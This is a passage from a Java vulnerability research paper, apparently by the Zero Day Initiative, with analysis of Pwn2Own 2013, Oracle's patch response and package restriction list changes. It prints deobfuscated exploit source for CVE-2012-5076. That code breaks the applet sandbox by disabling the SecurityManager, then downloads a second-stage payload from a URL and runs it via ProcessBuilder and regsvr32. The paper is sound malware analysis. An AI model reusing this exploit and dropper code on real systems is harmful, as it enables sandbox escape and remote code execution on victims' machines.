At this point we have to modify all callers of wRXNjHtp to only pass the argument that gets used. Had this function 

been used, it would have been an ideal candidate for inlining. Alternatively, if this function was called with static 

arguments, we would have been able to evaluate it and replace calls to it with the generated static value. 

After applying a few passes of these techniques to the sample, we end up with code that is readable. It is at this point 

that we can infer variable and argument names, which resulted in the following code: 

int wRXNjHtp(String paramString, int paramInt1,  
 int paramInt2, long paramLong) 
{ 
  int i = Math.min(333856, 207293) ^ 0x66493; 
  int j = Math.min(421682, 199391) % 85754; 
  int k = Math.abs(263858) + 211007; 
  int m = Math.abs(23452) + 221538; 
  return paramInt1 * 324346 + paramInt1 % 98101; 
} 

 

int wRXNjHtp(String paramString, int paramInt1,  
 int paramInt2, long paramLong) 
{ 
  return paramInt1 * 324346 + paramInt1 % 98101; 
} 

 

int wRXNjHtp(int paramInt1) 
{ 
  return paramInt1 * 324346 + paramInt1 % 98101; 
} 
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//EvilActionClass (formerly dqqOzf) 
package cve_2012_1723; 
 
import java.io.BufferedInputStream; 
import java.io.BufferedOutputStream; 
import java.io.FileOutputStream; 
import java.net.URL; 
import java.security.AccessController; 
import java.security.PrivilegedExceptionAction; 
 
public class EvilActionClass implements PrivilegedExceptionAction { 
  public EvilActionClass(String paramString1) { 
    try { 
      AccessController.doPrivileged(this); 
      getSaveAndRunSecondStage(paramString1); 
    } catch (Exception e) { } 
  } 
 
  public static void triggerDoPrivBlock(String obfuscatedURL, Class paramClass)  

throws Exception { 
    String[] arrayOfString = obfuscatedURL.split("hj"); 
    String url = ""; 
 
    int i = 0; 
    while (i < arrayOfString.length) 
    { 
      url += (char)(Integer.parseInt(arrayOfString[i]) + 1); 
      i++; 
    } 
     
    paramClass.getConstructor(new Class[] { String.class }).newInstance(new Object[] { url 
}); 
  } 
 
  public Object run() { 
      System.setSecurityManager(null); 
      return Integer.valueOf(56); 
  } 
 
  public void getSaveAndRunSecondStage(String url) { 
    try 
    { 
      BufferedInputStream bis = new BufferedInputStream(new URL(url).openStream()); 
       
      String droppedFileName = System.getenv("APPDATA").concat("java.io.tmpdir"); 
      BufferedOutputStream bos = new BufferedOutputStream(new 
FileOutputStream(droppedFileName), 1024); 
       
      byte[] buf = new byte[1024]; 
      int i = 0; 
      while ((i = bis.read(buf, 0, 1024)) >= 0) { 
          bos.write(buf, 0, i); 
      } 
       
      bos.close(); 
      bis.close(); 
       
       try { 
           Process localProcess = new ProcessBuilder(new String[] { droppedFileName 
}).start(); 
       } catch (Exception localException) { } 
       Process localProcess2 = new ProcessBuilder(new String[]{"regsvr32.exe", "/s", 
droppedFileName}).start(); 
     
     
    } catch (Exception e) { } 
  } 
} 
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The obfuscated version was given to us as an example of CVE-2012-1723 but now that it has been de-obfuscated 

we can see that it is actually CVE-2012-5076. It is also now clear to see how the malware works. 

com.sun.org.glassfish.gmbal.util.GenericConstructor is used to instantiate a restricted class, 

sun.invoke.anon.AnonymousClassLoader. com.sun.org.glassfish.gmbal.ManagedObjectManagerFactory is used to 

get access to the loadClass instance method of AnonymousClassLoader. The AnonymousClassLoader instance is 

used load a malicious subclass of java.security.PrivilegedExceptionAction. At this point, a function inside our 

malicious subclass is executed. This function de-obfuscates the URL to grab the second stage from and passes the 

de-obfuscated URL to the constructor for the malicious subclass. The constructor calls 

AccessController.doPrivileged() on itself and since the class is a subclass of PrivilegedExceptionAction, this executes 

the class' run() method. The run method solely needs to call System.setSecurityManager(null) to be able to execute 

arbitrary commands. The rest of the flow of execution is specific to this piece of malware. The second stage is 

downloaded from the URL that is specified within the “Sjuzeod” parameter of the HTML file that loads the malicious 

applet and the contents of that URL are saved to %APPDATA%\java.io.tmpdir and then executed or loaded as a DLL. 

Based off the CVE we received the file for this piece of malware was classified as type confusion, but now we can 

appropriately classify it as privilege and sandbox issues due to least privilege violation. 

//EvilApplet (formerly qWodxNpkOs) 
package cve_2012_1723; 
 
import com.sun.org.glassfish.gmbal.ManagedObjectManagerFactory; 
import com.sun.org.glassfish.gmbal.util.GenericConstructor; 
import java.applet.Applet; 
import java.io.ByteArrayOutputStream; 
import java.io.InputStream; 
import java.lang.reflect.Method; 
 
public class EvilApplet extends Applet { 
  public void init() { 
    String str = System.getProperty("java.version"); 
    if (str.indexOf("1.7") != -1) { 
        try { 
          ByteArrayOutputStream localByteArrayOutputStream = new ByteArrayOutputStream(); 
          byte[] arrayOfByte = new byte[8192]; 
          InputStream localInputStream = getClass().getResourceAsStream("dqqOzf.class"); 
          int i; 
          while ((i = localInputStream.read(arrayOfByte)) > 0) 
            localByteArrayOutputStream.write(arrayOfByte, 0, i); 
          arrayOfByte = localByteArrayOutputStream.toByteArray(); 
          GenericConstructor localGenericConstructor = new GenericConstructor(Object.class, 
"sun.invoke.anon.AnonymousClassLoader", new Class[0]); 
          Object localObject = localGenericConstructor.create(new Object[0]); 
          Method localMethod = ManagedObjectManagerFactory.getMethod(localObject.getClass(), 
"loadClass", new Class[] { Byte[].class }); 
          Class ACLdqqOzf = (Class)localMethod.invoke(localObject, new Object[] { arrayOfByte 
}); 
 
          EvilActionClass.triggerDoPrivBlock(getParameter("Sjuzeod"), ACLdqqOzf); 
        } catch (Exception e) { } 
    } 
  } 
} 
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Pwn2Own 2013 

In order to highlight the activity in the landscape, we expanded the scope of the Pwn2Own contest to include the 

browser plugins: Java, Flash and Reader. Doing so prompted the debate as to what is an appropriate bounty for an 

exploit taking advantage of an unpatched Java vulnerability at Pwn2Own? After much discussion we settled on 

$20,000 USD. Whenever we release the prize packages for Pwn2Own there is always interesting commentary from 

reporters and the security community. One of our favorite quotes was from Kostya Kortchinsky: 

 

F igure 15 -  Pwn2Own Tweet 

We fully expected a large number of researchers to show up and try to collect on the prize money; however, in the 

end, only four researchers pre-registered (a contest requirement) for the Java category. When the rules launched, 

everyone seemed to be focused on the unsafe reflection style of the sandbox bypass vulnerability so our 

expectation was that we would only receive those types of bugs at the contest. In fact, our contestants leveraged 

four unique software weaknesses in order to win the prize money with these weaknesses including the top 4 

vulnerability classes for Java defined earlier in the paper.  

Contestant CVE CWE Uti l ized  

James Forshaw CVE-2013-1488 
CWE-265: Privilege / 
Sandbox Issues 

CWE-272: Least Privilege 
Violation 

Joshua Drake CVE-2013-1491 
CWE-787: Out-of-bounds 
Write 

CWE-125: Out-of-bounds 
Read 

VUPEN Security CVE-2013-0402 
CWE-122 
Heap-based Buffer 
Overflow 

 

Ben Murphy CVE-2013-0401 
CWE-265: Privilege / 
Sandbox Issues 

CWE-470 
Unsafe Reflection 

Figure 16 -  CWEs Targeted by Pwn2Own Contestants 

Vendor Response Review 
The final part of the equation is to understand how the vendor is responding to the pressure of increased 

vulnerability disclosures. Oracle is making adjustments to secure the Java architecture. On average, Oracle fixes 
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vulnerabilities submitted through the Zero Day Initiative in about 3 months – well below the program’s 180-day limit. 

As compared to other vendors in the ZDI program Oracle is in the middle of the pack for vendor response timelines. 

As expected, some vendors are able to make quick turnaround times on patches while others take much longer. In 

fact, over the last three years Oracle has significantly improved its vulnerability response time despite the increased 

vulnerability discoveries. From an external perspective, we conclude that Oracle is investing in its ability to respond to 

security issues.  

Oracle also seems to be aggressively reviewing the attack surface and making adjustments as new vulnerability 

disclosures come in. Over the last six months, Oracle has made changes to Java that has resulted in the killing of 15 

Zero Day Initiative cases. “Killing” in this perspective is when we purchase a validated 0-day vulnerability from a 

researcher and the vendor patches the issue before we can submit it to the vendor to get the issue fixed. These 

adjustments came in two forms: increased Applet package restrictions and an audit for least privilege violation 

vulnerabilities. Most of these changes occurred in the April 2013 patch (JDK 7u21).  

Over time, Oracle reduces the attack surface by making adjustments to the package restriction list. The table below 

shows the adjustments made over the last eight releases. We baseline the package restriction list at JDK 7u09 to 

demonstrate the changes Oracle has made. 

JDK Release Package Restriction Lists 

JDK 7u09 

Baseline  
com.sun.org.apache.xalan.internal.utils 
com.sun.org.glassfish.external 
sun 
com.sun.jnlp 
com.sun.xml.internal.ws 
com.sun.xml.internal.bind 
org.mozilla.jss 
com.sun.org.glassfish.gmbal 
com.sun.imageio 
com.sun.org.apache.xerces.internal.utils 
com.sun.deploy 
com.sun.javaws 

JDK 7u10 No Change 

JDK 7u11 No Change 
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JDK 7u13 

Added the Following Packages 
com.sun.glass 
com.sun.javafx 
com.sun.media.jfxmedia 
com.sun.jmx.remote.util 
com.sun.jmx.defaults 
com.sun.openpisces 
com.sun.pisces 
com.sun.t2k 
com.sun.istack.internal 
com.sun.browser 
com.sun.xml.internal.org.jvnet.staxex 
com.sun.scenario 
com.sun.webkit 
com.sun.media.jfxmediaimpl 
com.sun.webpane,com.sun.prism 

JDK 7u15 

Removed the Following Packages 
com.sun.jmx.remote.util 
com.sun.jmx.defaults 

Added the Following Packages 
com.sun.proxy 
com.sun.jmx 

JDK 7u17 No Change 

JDK 7u21 

Removed the Following Packages 
com.sun.org.glassfish.external 
com.sun.xml.internal.ws 
com.sun.xml.internal.bind 
com.sun.org.glassfish.gmbal 
com.sun.xml.internal.org.jvnet.staxex 
com.sun.org.apache.xerces.internal.utils 

Added the Following Packages 
com.sun.org.apache.xalan.internal.xsltc.cmdline 
com.sun.org.apache.xml.internal.serializer.utils 
com.sun.org.apache.xalan.internal.xsltc.trax 
com.sun.org.apache.xalan.internal.res 
com.sun.org.apache.xerces.internal 
com.sun.org.apache.regexp.internal 
com.sun.org.apache.xalan.internal.templates 
com.sun.xml.internal 
com.sun.org.apache.xalan.internal.xslt 
com.sun.org.apache.xpath.internal 
com.sun.org.apache.xalan.internal.xsltc.compiler 
com.sun.org.apache.xalan.internal.xsltc.util 
com.sun.org.apache.bcel.internal 
com.sun.org.glassfish 
com.sun.java.accessibility 
com.sun.org.apache.xalan.internal.lib 
com.sun.org.apache.xml.internal.utils 
com.sun.org.apache.xml.internal.res 
com.sun.org.apache.xalan.internal.extensions 

JDK 7u25 
Added the Following Packages 
org.jcp.xml.dsig.internal 
com.sun.org.apache.xml.internal.security 

F igure 17 -  Modif icat ion to Java's  Package Restr ict ion L ist  

Modifications made to the restricted package list in JDK 7u13 resulted in three untrusted pointer dereferencing cases 

being killed. Two least privilege violation based sandbox bypasses were also killed during the JDK 7u15 release. 

Oracle could have accomplished this win by: an internal audit, an external audit by researchers, or by removing some 
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of the vulnerability chain that was being used to reach the vulnerable code. However they did it, it worked in patching 

several 0-day vulnerabilities that had been independently discovered.  

Finally, Oracle recently increased its scheduled patch update cycle to four releases a year17. This increase is a direct 

response to the increase of discoveries by external researchers. They are making commitments to their customer 

base and changing internal procedures in order to react quicker when attackers are taking advantage of unpatched 

vulnerabilities. Only time will tell if these verbal commitments will result in more secure software. The fact is that 

over that last three years Oracle has made adjustments to reduce the attack surface and these modifications directly 

resulted in the remediation of vulnerabilities they were not even aware of. One can only hope that this trend will 

continue.  

Conclusion 
Oracle has weathered quite the storm over the last 8 months. Attackers continually discover and expose weaknesses 

in the framework and leverage those vulnerabilities to compromise machines. Exploit kit authors are upping the 

number of Java vulnerabilities they are including in their releases to stay competitive. The external research 

community is also focusing on the Java framework. Zero Day Initiative researchers continually identify a large 

number of vulnerabilities resulting in Oracle releasing some of their biggest security patches to date. 

Based on this analysis, we have solid evidence that the sandbox bypass due to unsafe reflection is the most prolific 

issue in the framework but the sandbox bypass due to type confusion is the most exploited vulnerability type. Heap-

based buffer overflows in the 2D component produce some of the most severe vulnerabilities but are not commonly 

used by the exploit community. Interestingly enough, each of the sub-components in the architecture appears to be 

vulnerable only to a subset of vulnerability types. With this information, researchers will be able to focus their efforts 

while auditing the sub-components to increase the chance of discovering some fresh 0-days. We look forward to 

analyzing the next round of Java issues submitted to the Zero Day Initiative and hopefully this information will help 

you find more vulnerabilities.  

Good luck bug hunting!  

Learn more at 

zerodayinitiative.com 

hp.com/go/hpsr 

java.com/en/download/uninstall.jsp 

                                                                            
17 https://blogs.oracle.com/security/entry/maintaining_the_security_worthiness_of 


